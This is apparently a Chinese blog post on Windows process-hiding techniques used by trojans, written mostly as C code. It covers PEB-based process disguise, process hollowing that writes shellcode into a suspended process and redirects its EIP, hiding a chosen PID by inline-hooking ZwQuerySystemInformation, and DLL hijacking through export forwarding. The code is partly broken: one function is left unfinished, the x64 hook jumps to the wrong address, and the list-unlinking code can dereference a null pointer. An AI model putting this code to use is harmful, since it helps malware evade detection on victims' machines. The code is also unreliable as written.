进程隐藏技术

进程隐藏技术

  • 进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
  • 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建傀儡进程
  • 进程隐藏:通过HOOK函数ZwQuerySystemInfornation实现进程隐藏
  • DLL劫持:通过#pragma comment指令直接转发DLL导出函数或者通过LoadLibrary和GetProcAddress函数获取DLL导出函数并调用

1.进程伪装

对病毒木马来说,最简单的进程伪装方式就是修改进程名,例如将本地文件名修改成services.exe等系统进程名,从而不被用户发现。进程伪装指的是可以修改任意指定进程信息,即该进程信息再系统中显示的是另一个进程的信息。这样指定进程和伪装进程相同,但实际,执行的操作是不同的。

__kernel_entry NTSTATUS NtQueryInformationProcess(
  IN HANDLE           ProcessHandle,	//目标进程句柄
  IN PROCESSINFOCLASS ProcessInformationClass,	//获取信息类型
  OUT PVOID           ProcessInformation,	//指向调用应用程序提供的缓冲区的指针,函数将所请求的信息写入该缓冲区。
  IN ULONG            ProcessInformationLength,//ProcessInformation缓冲区大小
  OUT PULONG          ReturnLength //函数返回请求信息的大小
);

ProcessInformationClass 要检索的过程信息的类型:

含义
ProcessBasicInformation0检索指向PEB结构的指针,该指针可用于确定是否正在调试指定的进程,以及系统用于标识指定进程的唯一值。使用CheckRemoteDebuggerPresentGetProcessId 函数来获取此信息。
ProcessDebugPort7检索DWORD_PTR值,该值是进程的调试器的端口号。非零值表示该进程正在环3调试器的控制下运行。使用CheckRemoteDebuggerPresentIsDebuggerPresent函数。
ProcessWow64Information26确定进程是否在WOW64环境中运行(WOW64是允许基于Win32的应用程序在64位Windows上运行的x86仿真器)。使用IsWow64Process2函数获取此信息。
ProcessImageFileName27检索包含进程的映像文件名称的UNICODE_STRING值。使用QueryFullProcessImageNameGetProcessImageFileName函数来获取此信息。
ProcessBreakOnTermination29检索ULONG值,指示该进程是否被视为关键。注意 此值可以在带有SP3的Windows XP中使用。从Windows 8.1开始,应该使用IsProcessCritical
ProcessSubsystemInformation75检索SUBSYSTEM_INFORMATION_TYPE值,该值指示进程的子系统类型。ProcessInformation参数指向的缓冲区应足够大,以容纳单个SUBSYSTEM_INFORMATION_TYPE枚举。

此函数没有关联的导入库。您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

//当ProcessInformationClass 参数是ProcessBasicInformation,缓冲器指向的PROCESSINFORMATION参数应足够
//大,以保持单个PROCESS_BASIC_INFORMATION具有下述布局结构:
typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;	//指向PEB结构
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;	//指向该过程的唯一标识符。使用GetProcessId函数检索此信息。
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

示例代码:

typedef NTSTATUS (WINAPI* pfnNtQueryInformationProcess)(
  IN HANDLE           ProcessHandle,	
  IN PROCESSINFOCLASS ProcessInformationClass,	
  OUT PVOID           ProcessInformation,	
  IN ULONG            ProcessInformationLength,
  OUT PULONG          ReturnLength
 );
BOOL DisguiseProcess(DWORD dwProcessId, WCHAR* lpwszpath, WCHAR* lpwszCmd)
{
    //获取进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hProcess)
	{
		OutPutDebugStringA("进程句柄获取失败\n");
		return false;
	}
    //
    pfnNtQueryInformationProcess fnNtQueryInformationProcess = NULL;
    
}

2.傀儡进程


/*
	傀儡进程
	实现原理:修改指定进程内存数据,向内存中写入ShellCode代码,并修改该进程的执行流程,
使其转而执行ShellCode代码,这样进程还是原来的进程,但是执行的操作变了.
	关键技术点:
		一. 写入ShellCode的时机
		二. 更改执行流程的方法
	CreateProcess提供CREATE_SUSPENDED作为线程创建后主进程挂起的标志,这时主线程处于挂起状态,
直到ResumeThread恢复线程,方可执行.使用SetThreeadContext可以修改线程上下文中的EIP数据.

	实现流程:
	1. CreateProcess创建进程,设置CREATE_SUSPENDED挂起进程标志
	2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory
写入ShellCode数据,考虑到傀儡进程内存占用过大的问题,也可以调用ZwUnmapViewOfSection函数卸载
傀儡进程并加载模块
	3. 调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext
	4. 调用ResumeThread恢复进程
*/

BOOL ReplaceProcess(WCHAR* pszFilePath, PVOID pRelaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
	//1. CreateProcess创建目标进程,设置CREATE_SUSPENDED挂起进程标志
	STARTUPINFO stcSi = { 0 };
	stcSi.cb = sizeof(stcSi);
	PROCESS_INFORMATION stcPi = { 0 };
	BOOL bRet = CreateProcessW(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
		NULL, NULL, &stcSi, &stcPi);
	if (!bRet)
	{
		printf("创建进程失败\n");
		return FALSE;
	}
	//2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory
	//写入ShellCode数据, 考虑到傀儡进程内存占用过大的问题, 也可以调用ZwUnmapViewOfSection函数卸载
	//傀儡进程并加载模块
	LPVOID lpBuffer = VirtualAllocEx(stcPi.hProcess, NULL, dwReplaceDataSize,
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!lpBuffer)
	{
		printf("申请内存失败\n");
		return FALSE;
	}
	WriteProcessMemory(stcPi.hProcess, lpBuffer, pRelaceData, dwReplaceDataSize, NULL);
	//3.调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext
	CONTEXT stcCt = { CONTEXT_FULL };
	GetThreadContext(stcPi.hThread, &stcCt);
	stcCt.Eip = (DWORD)lpBuffer + dwRunOffset;
	SetThreadContext(stcPi.hThread, &stcCt);
	//4.调用ResumeThread恢复进程
	ResumeThread(stcPi.hThread);
	return TRUE;
}

3.进程隐藏


#include <Windows.h>
#include <winternl.h>
/*
	隐藏进程
	实现原理:通过HOOKAPI ZwQuerySystemInformation可以实现进程隐藏.这是因为EnumProcess或者
CreateToolHelp32Snapshot遍历进程,都是通过ZwQuerySystemInformation函数来检索系统进程信息的.
	实现方法:内联HOOK或者IAT HOOK
	1. 获取ZwQuerySystemInformation函数地址
	2. 根据32和64位版本,计算偏移,修改函数前xx字节数据
	3. 先修改页属性,再修好内存数据,恢复页属性
	4. 在My_ZwQuerySystemInformation函数中判断是否检索要隐藏进程,
若是隐藏进程,遍历检索结果,剔除隐藏进程的信息,将修改数据返回

*/

/*
	x86系统	修改前5字节
	---------------------------------------------------
	HOOK前:	0x41000  E8 007f00000  call OpenProcess
	HOOK后: 0x41000  E9 000410000  call MyOpenProcess
	填充地址计算公式: 跳转偏移 = 目标地址 - 指令所在 - 5
	---------------------------------------------------

	x64系统 修改前12字节
	---------------------------------------------------
	mov rax,目标地址	0x48 0xb8 00000000
跳转方式1:	push rax	0x50
		   ret		   0xC3
跳转方式2:  jmp rax		0xff  0xe0
	---------------------------------------------------
*/
BYTE g_OldData32[5] = { 0 };
BYTE g_OldData64[12] = { 0 };
pfnZwQuerySystemInformation fnZwQuerySystemInformation = NULL;

typedef NTSTATUS (WINAPI* pfnZwQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);

NTSTATUS WINAPI My_ZwQuerySystemInformation(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength)
{

	DWORD dwHidePid = 1124;	//1.要隐藏的进程ID
	UnHook();
	// 调用原函数
	NTSTATUS status = fnZwQuerySystemInformation(SystemInformationClass, SystemInformation,
		SystemInformationLength, ReturnLength);
	// 判断
	if (NT_SUCCESS(status) && 5==SystemInformationClass)
	{
		PSYSTEM_PROCESS_INFORMATION pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
		PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
		while (TRUE)
		{			
			//判断PID是否是隐藏进程
			if (dwHidePid == (DWORD)pCur->UniqueProcessId)
			{
                  //pPrev -- 指向前一个
                  //pCur  -- 指向当前
                  //pNext -- 指向下一个
				//找到隐藏进程,清除进程信息,即将pPrev的NextEntryOffset字段改为pNext偏移
				if (0==pCur->NextEntryOffset && pPrev)
				{
					pPrev->NextEntryOffset = 0;
				}
				else
				{
					pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
				}
			}
			else
			{
				pPrev = pCur;
			}
			if (0 == pCur->NextEntryOffset)
			{
				break;
			}
			pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
		}
	}
	HookAPI();
	return status;
}


void HookAPI()
{
	// 1.获取Ntdll中的ZwQuerySystemInformation函数地址
	HMODULE hNtdll = ::GetModuleHandleA("ntdll.dll");
	fnZwQuerySystemInformation = \
		(pfnZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
	if (!fnZwQuerySystemInformation)return;
	// 2.修改地址
#ifndef _WIN64
	BYTE pData[5] = { 0xE9 };
	DWORD dwOffset= (DWORD)My_ZwQuerySystemInformation - (DWORD)fnZwQuerySystemInformation - 5;
	::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
	//保存前5字节数据
	::RtlCopyMemory(g_OldData32, fnZwQuerySystemInformation, 5);
#else
	BYTE pData[12] = { 0x48,0xB8,0,0,0,0,0,0,0,0,0x50,0xC3 };
	ULONGLONG dwDestAddr = (ULONGLONG)fnZwQuerySystemInformation;
	::RtlCopyMemory(&pData[2], &dwDestAddr, sizeof(dwDestAddr));
	//保存前12字节数据
	::RtlCopyMemory(g_OldData64, fnZwQuerySystemInformation, 12);
#endif
	// 3.设置页面属性可读可写可执行
	DWORD dwOldProtect = 0;
	VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, 
		&dwOldProtect);
	::RtlCopyMemory(fnZwQuerySystemInformation, pData, sizeof(pData));
	VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), dwOldProtect,
		&dwOldProtect);
}
void UnHook()
{
	DWORD dwOldProtect = 0;
#ifndef _WIN64
	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), PAGE_EXECUTE_READWRITE,
		&dwOldProtect);
	::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), dwOldProtect,
		&dwOldProtect);
#else
	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), PAGE_EXECUTE_READWRITE,
		&dwOldProtect);
	::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
	VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), dwOldProtect,
		&dwOldProtect);
#endif
	
}

4.DLL劫持


实现原理:

进程在尝试加载一个DLL时,若没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个dll,如果攻击者控制其中某一个目录,并且放一个恶意的dll文件到这个目录下,那么这个恶意的dll便会被进程加载,进程执行dll的恶意代码,即所谓的dll劫持。
Windows加载器在分析可执行模块的输入表时,输入表只要dll名,没有路径,windows搜索dll顺序如下:
程序所在目录->系统目录->16位系统目录->windows目录->当前目录->PATH环境变量中的各个目录

伪造一个与同名的dll,提供同样的输出表,并使每个函数指向真正的系统dll,有两种方式

方式一:直接转发DLL函数
在所有的预处理指令中,#pragma 指令是设定编译器的状态或者指示编译器完成特定的动作,通过下面指令完成转发函数的操作

#pragma comment(linker,"/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")

使用/EXPORT选项,可以从程序中导出函数,以便其他程序可以调用该函数,它也可以导出数据.其中,

  • entryname是调用程序要使用的函数或者数据项的名称.

  • ordinal在导出表中指定范围在1-65535之间的索引,如果没有指定ordinal,则链接器将分配一个.

  • NONAME关键字只能将函数导出作为序号,并且没有entryname.

  • DATA关键字指定导出项为数据项,用户程序中的数据项必须用extern__declspec(dllimport)来声明

    //例如:转发MessageBoxTest为MessageBoxA
    #pragma comment(linker,"/EXPORT:MessageBoxTest=user32.MessageBoxA")
    //当调用MessageBoxTest时,系统会将其直接转发给user32.MessageBoxA去执行
    

方式二:调用DLL函数

​ 通过LoadLibrary和GetProcAddress函数来获取函数地址,然后跳转执行。

//裸函数naked特性仅适用于x86和ARM,并不用于x64
//_asm内联汇编也不能在x64中使用
extern "C" void __declspec(naked) MessageBoxATest()
{
    PVOID pAddr=NULL;
    HMODULE hDll=LoadLibraryA("C:\\Windows\\System32\\user32.dll");
    if(NULL != hDll)
    {
        pAddr=GetProcAddress(hDll,"MessageBoxA");
        if(pAddr)
        {
            _asm jmp pAddr
        }
        FreeLibrary(hDll);
    }
}

使用AheadLibDLL劫持代码生成工具

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值